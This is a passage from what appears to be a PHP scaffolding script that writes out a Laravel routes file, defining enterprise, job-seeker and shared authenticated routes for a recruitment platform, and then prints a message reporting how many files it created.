Route::get(\'/roles\', [RoleController::class, \'index\'])->name(\'roles\'); Route::get(\'/company-profile\', [EntCompanyProfileController::class, \'index\'])->name(\'company-profile\'); Route::get(\'/workforce\', [WorkforceController::class, \'index\'])->name(\'workforce\'); Route::get(\'/matching\', [MatchingController::class, \'index\'])->name(\'matching\'); Route::get(\'/courses\', [EntCourseController::class, \'index\'])->name(\'courses\'); Route::get(\'/universities\', [EntUniversityController::class, \'index\'])->name(\'universities\'); Route::get(\'/franchise\', [FranchiseController::class, \'index\'])->name(\'franchise\'); }); // Seeker Route::middleware([\'auth\', \'role:seeker\'])->prefix(\'seeker\')->name(\'seeker.\')->group(function () { Route::get(\'/job-feed\', [JobFeedController::class, \'index\'])->name(\'job-feed\'); Route::get(\'/job-map\', [JobMapController::class, \'index\'])->name(\'job-map\'); Route::get(\'/applications\', [SeekerApplicationController::class, \'index\'])->name(\'applications\'); Route::get(\'/onboarding\', [SeekerOnboardingController::class, \'index\'])->name(\'onboarding\'); Route::get(\'/profile\', [SeekerProfileController::class, \'index\'])->name(\'profile\'); Route::patch(\'/profile\', [SeekerProfileController::class, \'update\'])->name(\'profile.update\'); Route::get(\'/resume\', [ResumeController::class, \'index\'])->name(\'resume\'); Route::get(\'/interview\', [InterviewController::class, \'index\'])->name(\'interview\'); Route::get(\'/training\', [TrainingController::class, \'index\'])->name(\'training\'); Route::get(\'/academic\', [AcademicController::class, \'index\'])->name(\'academic\'); Route::get(\'/companies\', [CompanyDirectoryController::class, \'index\'])->name(\'companies\'); }); // Shared Route::middleware([\'auth\'])->group(function () { Route::get(\'/messages\', [MessageController::class, \'index\'])->name(\'messages\'); Route::get(\'/social\', [SocialFeedController::class, \'index\'])->name(\'social\'); Route::get(\'/ai-coach\', [AiCoachController::class, \'index\'])->name(\'ai-coach\'); Route::get(\'/settings\', [SettingsController::class, \'index\'])->name(\'settings\'); });'); echo "\n✅ ALL FILES CREATED SUCCESSFULLY!\n"; echo "Total: 15 migrations + 19 models + 1 middleware + 1 auth controller + 30 controllers + 1 routes file\n";
Close